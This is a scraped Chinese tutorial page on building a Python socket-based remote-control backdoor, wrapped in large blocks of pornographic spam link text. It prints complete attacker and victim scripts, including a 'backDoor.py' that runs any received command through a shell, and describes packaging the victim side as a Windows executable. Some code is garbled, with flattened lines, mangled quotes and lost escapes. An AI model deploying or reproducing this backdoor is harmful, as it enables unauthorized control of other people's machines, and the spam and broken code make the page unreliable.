日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

Python實(shí)現(xiàn)Socket通信建立TCP反向連接

瀏覽:149日期:2022-08-06 14:58:08
目錄前言遠(yuǎn)程控制腳本編寫腳本優(yōu)化getopt ()完整代碼前言

本文將記錄學(xué)習(xí)基于 Socket 通信機(jī)制建立 TCP 反向連接,借助 Python 腳本實(shí)現(xiàn)主機(jī)遠(yuǎn)程控制的目的。

我們?cè)趥鬏敂?shù)據(jù)時(shí),可以只使用(傳輸層)TCP/IP 協(xié)議,但是那樣的話,如果沒(méi)有應(yīng)用層,便無(wú)法識(shí)別數(shù)據(jù)內(nèi)容,如果想要使傳輸?shù)臄?shù)據(jù)有意義,則必須使用到應(yīng)用層協(xié)議,應(yīng)用層協(xié)議有很多,比如 HTTP、FTP、TELNET 等,也可以自己定義應(yīng)用層協(xié)議。而 Socket 是對(duì) TCP/IP 協(xié)議的封裝,Socket 本身并不是協(xié)議,而是一個(gè)調(diào)用接口(API),通過(guò) Socket 我們才能使用 TCP/IP 協(xié)議。

HTTP 連接與 Socket 連接的區(qū)別

HTTP 是短連接,Socket (基于 TCP 協(xié)議的)是長(zhǎng)連接。盡管 HTTP1.1 開始支持持久連接,但仍無(wú)法保證始終連接。而 Socket 連接一旦建立 TCP 三次握手,除非一方主動(dòng)斷開,否則連接狀態(tài)一直保持。 HTTP連接,服務(wù)端無(wú)法主動(dòng)發(fā)消息,Socket 連接,雙方請(qǐng)求的發(fā)送無(wú)先后限制。這點(diǎn)就比較重要了,因?yàn)樗鼘Q定二者分別適合應(yīng)用在什么場(chǎng)景下。HTTP 采用“請(qǐng)求-響應(yīng)”機(jī)制,在客戶端還沒(méi)發(fā)送消息給服務(wù)端前,服務(wù)端無(wú)法推送消息給客戶端。必須滿足客戶端發(fā)送消息在前,服務(wù)端回復(fù)在后。Socket 連接雙方類似 peer2peer 的關(guān)系,一方隨時(shí)可以向另一方喊話。

什么時(shí)候該用 HTTP,什么時(shí)候該用 Socket?

用 HTTP 的情況:雙方不需要時(shí)刻保持連接在線,比如客戶端資源的獲取、文件上傳等。 用 Socket 的情況:大部分即時(shí)通訊應(yīng)用(QQ、微信)、聊天室、蘋果APNs等。

Python3 關(guān)于 Socket 網(wǎng)絡(luò)編程的相關(guān)語(yǔ)法知識(shí)可以參見(jiàn):Python3 網(wǎng)絡(luò)編程。

遠(yuǎn)程控制

下面開始來(lái)看看如何借助 Python 實(shí)現(xiàn)對(duì)目標(biāo)主機(jī)的遠(yuǎn)程控制。

腳本編寫

ServerAttack.py 受控端腳本如下:

import socketimport osip = '' # 空表示可連接所有主機(jī)port = 5555 # 設(shè)置端口s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 對(duì)象s 使用基于tcp協(xié)議的網(wǎng)絡(luò)套接字s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 關(guān)閉后不需要保存狀態(tài)可以立即開啟s.bind((ip, port)) # 對(duì)象s 開始綁定ip和端口s.listen(10)# 啟動(dòng)監(jiān)聽狀態(tài),設(shè)置隊(duì)列中等待連接服務(wù)器的最大請(qǐng)求數(shù)10conn, addr = s.accept() # 當(dāng)與別人建立連接 addr,conn 變量分別存對(duì)方ip和連接的對(duì)象print('已建立遠(yuǎn)程連接:', addr) # 顯示對(duì)方地址while True: data = conn.recv(1024) # 接收對(duì)方字符串 #如果對(duì)方不發(fā)數(shù)據(jù)會(huì)卡住 if data == b'q':# 接收到程序終止信號(hào)則中斷連接break data = str(data, encoding='utf8') # 將數(shù)據(jù)轉(zhuǎn)換為字符串類型 print('遠(yuǎn)程主機(jī)請(qǐng)求的命令:', data) f = os.popen(data) # 可以將命令的內(nèi)容以讀取的方式返回 data2 = f.read() if data2 == '':conn.send(b'finish') else:conn.send(bytes(data2, encoding='utf8')) # 發(fā)送命令運(yùn)行結(jié)果conn.close() # 斷開連接s.close() # 關(guān)閉套結(jié)字

ClientAttack.py 控制端腳本如下:

import socketip = '192.168.146.126' # 對(duì)方服務(wù)器ip地址port = 5555 # 對(duì)方服務(wù)器的端口s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 對(duì)象s使用基于tcp協(xié)議的網(wǎng)絡(luò)套接字s.connect((ip, port)) # 創(chuàng)建socket連接while True: data = input('請(qǐng)輸入命令:') data = bytes(data, encoding='utf8') s.send(data) # 發(fā)送數(shù)據(jù)給對(duì)方 data2 = s.recv(1024) # 接收返回的數(shù)據(jù) print(str(data2, encoding='utf8')) if data == b'q':breaks.close()

效果演示

1、Linux 遠(yuǎn)控

將 ServerAttack.py 受控端腳本拷貝至 Linux 系統(tǒng)并運(yùn)行,同時(shí) Win10 物理機(jī)運(yùn)行 ClientAttack.py 控制端腳本,可實(shí)現(xiàn)遠(yuǎn)程連接控制:

Python實(shí)現(xiàn)Socket通信建立TCP反向連接

2、Windows 遠(yuǎn)控

使用 pyinstaller 打包 ServerAttack.py 生成 ServerAttack.exe 可執(zhí)行文件(pyinstaller -F ServerAttack.py),然后在 Win7 虛擬機(jī)運(yùn)行生成的 ServerAttack.exe 文件,效果如下:

Python實(shí)現(xiàn)Socket通信建立TCP反向連接

腳本優(yōu)化

下面使用多線程、腳本參數(shù)設(shè)置、腳本幫助提示、客戶端服務(wù)端代碼集成來(lái)優(yōu)化上述實(shí)現(xiàn)遠(yuǎn)程控制的腳本。

getopt ()

Python 中 getopt 模塊是專門用來(lái)處理命令行參數(shù)的,函數(shù)格式:

getopt(args, shortopts, longopts = [])

參數(shù)解析如下:

參數(shù) 釋義 補(bǔ)充 args 要解析的參數(shù)列表 一般是sys.argv[1:],表示獲取的參數(shù)不包括當(dāng)前執(zhí)行的 python 腳本名稱 shortopts 要識(shí)別的短格式 (-) 選項(xiàng)字符串,如果后接:表示需要給定參數(shù) 如ab:c:,表示識(shí)別 -a, -b 和 -c 的短選項(xiàng),其中 -b 和 -c 需要后接參數(shù) longopts = [] 要識(shí)別的長(zhǎng)格式(–)選項(xiàng),如果后接=表示需要給定參數(shù) 如[“help”, “user=”, “password=”],表示識(shí)別--help, --user=root, --password=123456的長(zhǎng)選項(xiàng)

函數(shù)返回值由兩個(gè)元素組成:

第一個(gè)是 (option, value) 元組的列表,(option, value) 元組中的 option 表示包含-或--前綴的選項(xiàng),value 表示該 option 對(duì)應(yīng)的參數(shù),可以為空字符串表示無(wú)參數(shù); 第二個(gè)是 args 剝離短選項(xiàng)及其參數(shù)和長(zhǎng)選項(xiàng)及其參數(shù)之后剩余的參數(shù)列表。完整代碼

import socketimport getoptimport sysimport subprocessfrom threading import Threaddef main(): target = '' # 目標(biāo)IP port = 0 # 目標(biāo)端口 listen = False help = False # 利用getopt模塊從命令行獲取參數(shù),sys.argv[1:]可以過(guò)濾掉第一個(gè)參數(shù)(第一個(gè)參數(shù)是腳本的名稱,它不應(yīng)該作為參數(shù)進(jìn)行解析) opts, args = getopt.getopt(sys.argv[1:], 't:p:hl') for o, a in opts:if o == '-t': target = aelif o == '-p': port = int(a)elif o == '-h': help = Trueelif o == '-l': listen = Trueelse: # 斷言,傳入的參數(shù)有誤 assert False, 'Unhandled Option' # 輸出幫助文檔 if help:usage() # 獲分客戶端和服務(wù)端 if listen:server_handle(port) else:client_handle(target, port)# 受控端def server_handle(port): # 創(chuàng)建socket通道 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 綁定 server.bind((’0.0.0.0’, port)) # 監(jiān)聽 server.listen(10) print('[*] Listening on 0.0.0.0:%d' % port) while True:client_socket, addr = server.accept()print('[*] Accept connection from %s:%d' % (addr[0], addr[1]))t = Thread(target=run_command, args=(client_socket, server,))t.start()# 控制端,發(fā)送命令,接收受控端命令行的回顯內(nèi)容def client_handle(target, port): # 創(chuàng)建socket通道 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 連接服務(wù)器 client.connect((target, port)) # 接收數(shù)據(jù) while True:recv_len = 1# 接收到的數(shù)據(jù)是utf-8resBuffer = ''.encode(’utf-8’)while recv_len: data = client.recv(4096) recv_len = len(data) resBuffer += data if recv_len < 4096:break# 在windows下中文會(huì)亂碼,所以轉(zhuǎn)成GBKprint(resBuffer.decode(’gbk’), end='')# 接收命令,發(fā)送命令需要將命令轉(zhuǎn)成byte,并且編碼是utf-8buffer = input('')if buffer.encode(’utf-8’) == b'quit': breakbuffer += 'n'client.send(buffer.encode(’utf-8’)) client.close()# 執(zhí)行命令涵數(shù)def run_command(client_socket,s): while True:# 發(fā)送命令給客戶端client_socket.send(b'shell_>')# 定義接收命令byte類型變量cmd_buffer = ''.encode(’utf-8’)# 接收客戶端發(fā)過(guò)來(lái)的消息,直到預(yù)到換行,代表客戶端消息輸入完成while b'n' not in cmd_buffer: cmd_buffer += client_socket.recv(1024)if cmd_buffer == b'quit': break# 將完整的byte變量消息轉(zhuǎn)成字符串cmd_buffer = cmd_buffer.decode()try: # 通過(guò)隧道執(zhí)行命令并以byte數(shù)據(jù)類型返回輸出的數(shù)據(jù) out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True) # 將返回的數(shù)據(jù)發(fā)送給客戶端 client_socket.send(out)except: client_socket.send(b'faild to execute the command') client_socket.close() # 斷開連接 s.close() # 關(guān)閉套結(jié)字 exit(0)# 輸出幫助信息def usage(): print('help info : python backDoor.py -h') print('client : python backDoor.py -t [target] -p [port]') print('server : python backDoor.py -lp [port]') print('Exit :Input quit to exit ') sys.exit()if __name__ == '__main__': main()

效果演示

獲取腳本幫助提示、進(jìn)行遠(yuǎn)程連接:

Python實(shí)現(xiàn)Socket通信建立TCP反向連接

到此這篇關(guān)于Python實(shí)現(xiàn)Socket通信建立TCP反向連接的文章就介紹到這了,更多相關(guān)Python TCP反向連接內(nèi)容請(qǐng)搜索好吧啦網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持好吧啦網(wǎng)!

標(biāo)簽: Python 編程
相關(guān)文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
国产麻豆一区二区三区 | 日韩天堂av| 久久亚洲国产精品尤物| 综合色就爱涩涩涩综合婷婷| 久久亚洲国产| 国产黄大片在线观看| 欧美天堂在线| 中文一区一区三区免费在线观| 色乱码一区二区三区网站| 国产精品扒开腿做爽爽爽软件| 日韩一区精品字幕| 老牛影视精品| 国产精品手机在线播放| 天堂久久av| 亚洲综合婷婷| 国产成人精品福利| 老司机免费视频一区二区| 国产欧美日本| 国产精品免费大片| 国产精品亚洲综合久久| 国产亚洲精品美女久久| 日韩精品高清不卡| 久久精品72免费观看| 精品久久福利| 欧美午夜不卡| 亚久久调教视频| 久久九九精品| 91亚洲成人| 久久久天天操| 精品中国亚洲| 美女性感视频久久| 国产一区一一区高清不卡| 国产色噜噜噜91在线精品| 18国产精品| 国产经典一区| 国产亚洲观看| 日韩一区免费| 国产精品久久久久久久久久白浆| 国产精品v一区二区三区| 丝袜诱惑制服诱惑色一区在线观看| 视频一区二区欧美| 亚洲人成亚洲精品| 视频一区二区不卡| 激情视频一区二区三区| 欧美日韩国产精品一区二区亚洲| 日韩午夜av| 日韩中文av| 国产伦精品一区二区三区视频 | 国产九一精品| 精品国产中文字幕第一页 | 视频一区二区三区在线| 久久香蕉精品| 日本免费在线视频不卡一不卡二| 国产美女久久| 久久久久久婷| av亚洲一区二区三区| 日韩手机在线| 麻豆网站免费在线观看| 一区二区三区四区日韩| 国产一区二区三区久久| 国产美女一区| 国产一区二区三区不卡av| 国产模特精品视频久久久久| 精品伊人久久| 中文无码久久精品| 日本欧美不卡| 日韩精品中文字幕第1页| 亚洲伊人精品酒店| 日本电影久久久| 在线亚洲免费| 欧美另类中文字幕| 老司机免费视频一区二区三区| 欧美日韩黄网站| av免费不卡国产观看| 91大神在线观看线路一区| 国产精品第一国产精品| 欧美激情另类| 麻豆久久久久久久| 日韩在线视频精品| 一区二区不卡| 性欧美长视频| 国产不卡精品| 中文亚洲免费| 日韩免费久久| 日韩av午夜在线观看| 国产91一区| 激情不卡一区二区三区视频在线| 婷婷视频一区二区三区| 女人av一区| 日韩精品专区| 精品久久久网| 国产精品久久久久9999高清| 亚洲伊人影院| 久久aⅴ国产紧身牛仔裤| 婷婷综合六月| 中文字幕在线高清| 精品淫伦v久久水蜜桃| 亚洲18在线| 欧美日一区二区| 美女精品在线| 欧美日本久久| jiujiure精品视频播放| 黄色亚洲大片免费在线观看| 中国字幕a在线看韩国电影| 99久久精品国产亚洲精品| 综合激情网...| 日韩大片免费观看| 国产日韩三级| 亚洲少妇在线| 成人午夜在线| 欧美va天堂| 99久久激情| 日韩三级视频| 吉吉日韩欧美| 国产亚洲永久域名| 日本国产欧美| 日韩免费福利视频| 日韩中文欧美| 久久人人99| 久久婷婷丁香| 国产综合精品| 深夜日韩欧美| 国产一区二区三区探花| 日韩一级网站| 久久不射中文字幕| 国产中文字幕一区二区三区| 亚洲性色av| 日韩精品免费一区二区在线观看 | 中文字幕一区二区三区四区久久| 在线手机中文字幕| 奇米狠狠一区二区三区| 另类国产ts人妖高潮视频| 在线视频免费在线观看一区二区| 麻豆精品91| 最新中文字幕在线播放| 首页国产精品| 日韩福利一区| 日韩中出av| 欧美日韩精品一本二本三本| 中文一区一区三区免费在线观 | 亚洲高清二区| 国产一区丝袜| 91精品电影| 美女视频黄久久| 在线日韩中文| 激情婷婷久久| 亚洲免费中文| 无码日韩精品一区二区免费| 99在线观看免费视频精品观看| 老鸭窝亚洲一区二区三区| 蜜臀av亚洲一区中文字幕| 日本午夜精品久久久| 国产精品久久久一区二区| 麻豆成人av在线| 欧美一区二区三区高清视频| 日韩影院免费视频| 国产精品一卡| 久久男女视频| 中文字幕日韩亚洲| 精品亚洲二区| 黄色日韩在线| 国产精品亚洲片在线播放| 国产一区二区三区久久| 午夜精品免费| 国产日韩一区二区三区在线 | 精品一区二区三区中文字幕| 性感美女一区二区在线观看| 午夜在线播放视频欧美| 国产精品一区二区三区四区在线观看| 狠狠躁少妇一区二区三区| 性欧美精品高清| 欧美经典一区| 偷拍欧美精品| 国产精品亲子伦av一区二区三区| 视频在线不卡免费观看| 亚洲在线免费| 美女精品视频在线| 国产综合精品| 国产精品一区二区三区av| 国产99久久| 国产精品伦一区二区| 蜜臀av免费一区二区三区| 欧美日韩一区自拍| 亚洲高清激情| 美女久久精品| 一区二区国产在线观看| 日韩国产专区| 国产日产高清欧美一区二区三区| 另类中文字幕国产精品| 日韩手机在线| 人人精品亚洲| 国产情侣一区在线| 婷婷六月综合| 丰满少妇一区| 日本亚州欧洲精品不卡| 99久久夜色精品国产亚洲1000部| 欧美日韩调教| 丝瓜av网站精品一区二区| 成人欧美一区二区三区的电影| 日韩成人一级|